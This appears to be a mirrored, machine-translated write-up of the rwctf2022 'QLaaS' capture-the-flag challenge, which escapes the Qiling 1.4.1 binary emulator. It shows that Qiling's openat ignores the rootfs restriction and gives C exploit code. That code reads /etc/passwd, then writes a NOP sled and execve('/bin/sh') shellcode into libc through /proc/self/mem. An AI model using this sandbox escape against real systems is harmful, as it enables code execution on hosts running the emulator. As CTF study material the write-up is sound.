当前位置:网站首页>rwctf2022_ QLaaS
rwctf2022_ QLaaS
2022-07-02 20:54:00 【-Order rule】
rwctf2022 QLaaS
List of articles
main.py
First of all, there is only one subject document main.py, The contents are as follows :
#!/usr/bin/env python3
import os
import sys
import base64
import tempfile
# pip install qiling==1.4.1
from qiling import Qiling
def my_sandbox(path, rootfs):
ql = Qiling([path], rootfs)
ql.run()
def main():
sys.stdout.write('Your Binary(base64):\n')
line = sys.stdin.readline()
binary = base64.b64decode(line.strip())
with tempfile.TemporaryDirectory() as tmp_dir:
fp = os.path.join(tmp_dir, 'bin')
with open(fp, 'wb') as f:
f.write(binary)
my_sandbox(fp, tmp_dir)
if __name__ == '__main__':
main()
Now get the file , Then call directly qiling The framework runs it . It's shown here that qiling=1.4.1, It is also the latest version at present .
First, in the github Get it down qiling Code for , And then switch to 1.4.1 edition , Write a simple script by imitating the above script :
#!/usr/bin/env python3
import os
import sys
import base64
# pip install qiling==1.4.1
c
def my_sandbox(path, rootfs):
ql = Qiling([path], rootfs)
ql.run()
def main():
my_sandbox("/tmp/a/bin", "/tmp/a")
if __name__ == '__main__':
main()
Note that I didn't install qiling, So this
from qiling import QilingIn fact, it will search from the current path , Put this script here clone Coming down qiling Code directory , Will be found automaticallyqilingFolder , And use the python file , You can also start debugging .
Then I wrote a exp.c,
#include <stdio.h>
int main() {
printf("hellow\n");
return 0;
}
Try to run , Find this error . When you want to load the dynamic link library in this location , Try downloading in this directory ld File failed ,

You can see that the file you originally want to load is this , Be restricted to rootfs It's in .

So use static links .

Then I found that the running syscall, qiling It's actually encapsulated unicorn, however unicorn In fact, it has not been realized sys call, These should be qiling Implemented in .
Loophole
transform_to_real_path
First try to start directly shell,
int main() {
execve("/bin/sh", 0, 0);
return 0;
}

In function ql_syscall_execve Error reported in , Show can't find file /tmp/a/bin/sh
Let's go into this function . The error position is in the last ql.loader.run()
def ql_syscall_execve(ql: Qiling, pathname: int, argv: int, envp: int):
file_path = ql.os.utils.read_cstring(pathname)
real_path = ql.os.path.transform_to_real_path(file_path)
def __read_str_array(addr: int) -> Iterator[str]:
if addr:
while True:
elem = ql.mem.read_ptr(addr)
if elem == 0:
break
yield ql.os.utils.read_cstring(elem)
addr += ql.pointersize
args = [s for s in __read_str_array(argv)]
env = {
}
for s in __read_str_array(envp):
k, _, v = s.partition('=')
env[k] = v
ql.emu_stop()
ql.log.debug(f'execve({
file_path}, [{
", ".join(args)}], [{
", ".join(f"{
k}={
v}" for k, v in env.items())}])')
ql.loader.argv = args
ql.loader.env = env
ql._path = real_path
ql.mem.map_info = []
ql.clear_ql_hooks()
# Clean debugger to prevent port conflicts
ql.debugger = None
if ql.code:
return
ql._uc = ql.arch.init_uc
QlCoreHooks.__init__(ql, ql._uc)
ql.os.load()
ql.loader.run()
ql.run()
Find this incoming pathname, Through the processing of two functions file_path and real_path, Finally, what is really practical is real_path, In statement :ql._path = real_path, Get into transform_to_real_path The function view ,
It should be. This path is limited to self.ql.rootfs within .
def transform_to_real_path(self, path: str) -> str:
real_path = self.convert_path(self.ql.rootfs, self.cwd, path)
if os.path.islink(real_path):
link_path = Path(os.readlink(real_path))
if not link_path.is_absolute():
real_path = Path(os.path.join(os.path.dirname(real_path), link_path))
# resolve multilevel symbolic link
if not os.path.exists(real_path):
path_dirs = link_path.parts
if link_path.is_absolute():
path_dirs = path_dirs[1:]
for i in range(len(path_dirs) - 1):
path_prefix = os.path.sep.join(path_dirs[:i+1])
real_path_prefix = self.transform_to_real_path(path_prefix)
path_remain = os.path.sep.join(path_dirs[i+1:])
real_path = Path(os.path.join(real_path_prefix, path_remain))
if os.path.exists(real_path):
break
return str(real_path.absolute())
Then here is equivalent to chroot And so on , We can't break through ,
openat
Global search for this transform_to_real_path function , Check the location of the reference , Pay special attention to os/posix/syscall A file in a directory , This is right syscall The implementation of the .
You can also see ql_syscall_open And other functions use this limitation , But it's easy to see a comment :

Enter this location to view , Found to be openat,
def ql_syscall_openat(ql: Qiling, fd: int, path: int, flags: int, mode: int):
file_path = ql.os.utils.read_cstring(path)
# real_path = ql.os.path.transform_to_real_path(path)
# relative_path = ql.os.path.transform_to_relative_path(path)
flags &= 0xffffffff
mode &= 0xffffffff
idx = next((i for i in range(NR_OPEN) if ql.os.fd[i] == 0), -1)
if idx == -1:
regreturn = -EMFILE
else:
try:
if ql.archtype== QL_ARCH.ARM:
mode = 0
flags = ql_open_flag_mapping(ql, flags)
fd = ql.unpacks(ql.pack(fd))
if 0 <= fd < NR_OPEN:
dir_fd = ql.os.fd[fd].fileno()
else:
dir_fd = None
ql.os.fd[idx] = ql.os.fs_mapper.open_ql_file(file_path, flags, mode, dir_fd)
regreturn = idx
except QlSyscallError as e:
regreturn = -e.errno
ql.log.debug(f'openat(fd = {
fd:d}, path = {
file_path}, mode = {
mode:#o}) = {
regreturn:d}')
return regreturn
You can see that this position is directly right file_path Conduct open Then return , It seems that there are no restrictions .
Test it :
int main() {
char buf[0x100];
int fd = openat(1, "/etc/passwd", O_RDONLY);
ssize_t len = read(fd, buf, sizeof(buf));
write(1, buf, len);
return 0;
}
Get the output :

utilize
Read and write an arbitrary file , How can I fight ?
/proc/self/mem
First of all, understand proc File structure
proc file
linux Next , Everything is a document , For information saved in a process , You can use the corresponding /proc/<pid>/ File to view , These documents are linux Virtual file implemented , It does not occupy memory , The file in it stores all the relevant information of the corresponding process .
You can access and modify the specified process information here . Here is the location used here :
/proc/<pid>/maps- Save the memory layout of the corresponding process , Include address Corresponding modules
/proc/<pid>/mem- Point to the memory space of the corresponding process , Can pass open read write lseek To read and write .
/proc/self- This points to the current running instruction itself
/proc/<pid>/, Access itself without getting pid 了 .
- This points to the current running instruction itself
utilize /proc/<pid>/mem Inject shellcode
It can be regarded as a common means of utilization , More general .
For a process , We can go through /proc/<pid>/mem Access to internal memory . So it can be modified .
The general practice is , use first open Open corresponding fd, And then through lseek Set up fd Address to , Then you can go through read write Read and write the corresponding memory .
exp
Relatively simple , First from /proc/self/maps Get in libc Of text Segment address , And then in /proc/self/mem Set in fd Point to libc Of text paragraph ,
Then inject a lot of nop Command as a skateboard , Finally write shellcode,
Exit can , In the follow-up process python Call to libc When , Will fall on the skateboard , Then slide towards shellcode.
unsigned char shellcode[0x27a50 + 0x100 + 0x100];
unsigned char sc[] = "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69"
"\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05";
int exp() {
char buf[0x1000];
int fd = openat(1, "/proc/self/maps", O_RDONLY);
FILE *fd_maps = fdopen(fd, "r");
int mem = openat(1, "/proc/self/mem", O_RDWR);
unsigned long long addr;
while (fgets(buf, sizeof(buf), fd_maps)) {
if (strstr(buf, "r-xp") && strstr(buf, "lib/libc-")) {
sscanf(buf, "%llx-", &addr);
printf("%s", buf);
}
}
printf("%llx", addr);
memset(shellcode, 0x90, 0x27a50 + 0x100);
memcpy(shellcode + 0x27a50 + 0x100, sc, sizeof(sc));
lseek(mem, addr, SEEK_SET);
write(mem, shellcode, sizeof(shellcode));
return 0;
}
边栏推荐
- Internal/validators js:124 throw new ERR_ INVALID_ ARG_ Type (name, 'string', value) -- solution
- Spark source code compilation, cluster deployment and SBT development environment integration in idea
- SBT tutorial
- Talk about macromolecule coding theory and Lao Wang's fallacy from the perspective of evolution theory
- Properties of expectation and variance
- Basic concept of database, installation and configuration of database, basic use of MySQL, operation of database in the project
- Summary of interview experience, escort your offer, full of knowledge points
- [source code analysis] model parallel distributed training Megatron (5) -- pipestream flush
- 「 工业缺陷检测深度学习方法」最新2022研究综述
- Cron表达式(七子表达式)
猜你喜欢

I drew a Gu ailing with characters!

Interested parties add me for private chat

AMD's largest transaction ever, the successful acquisition of Xilinx with us $35billion

Spark source code compilation, cluster deployment and SBT development environment integration in idea

Write the content into the picture with type or echo and view it with WinHex
![[error record] the command line creates an error pub get failed (server unavailable) -- attempting retry 1 in 1 second](/img/6e/c82ff02a249b5d275a4589120a197a.jpg)
[error record] the command line creates an error pub get failed (server unavailable) -- attempting retry 1 in 1 second

【Hot100】21. 合并两个有序链表

Resunet tensorrt8.2 speed and video memory record table on Jetson Xavier NX (continuously supplemented later)

Postman接口测试实战,这5个问题你一定要知道

笔记本安装TIA博途V17后出现蓝屏的解决办法
随机推荐
Codeforces Round #771 (Div. 2)(A-C)
Sweet talk generator, regular greeting email machine... Open source programmers pay too much for this Valentine's day
[shutter] the shutter plug-in is used in the shutter project (shutter plug-in management platform | search shutter plug-in | install shutter plug-in | use shutter plug-in)
CRM Customer Relationship Management System
I would like to ask what securities dealers recommend? Is it safe to open a mobile account?
Jetson XAVIER NX上ResUnet-TensorRT8.2速度与显存记录表(后续不断补充)
BitSet complement
Esp32c3 crash analysis
测试人员如何做不漏测?这7点就够了
Customized Huawei hg8546m restores Huawei's original interface
证券如何在线开户?手机开户是安全么?
Who do you want to open a stock account? Is it safe to open a mobile account?
【871. 最低加油次数】
Interested parties add me for private chat
How to do interface testing? After reading this article, it will be clear
Analyze comp-206 advanced UNIX utils
Detailed upgrade process of AWS eks
I did a craniotomy experiment: talk about macromolecule coding theory and Lao Wang's fallacy from corpus callosum and frontal leukotomy
Is it safe to buy funds on securities accounts? Where can I buy funds
Solution to blue screen after installing TIA botu V17 in notebook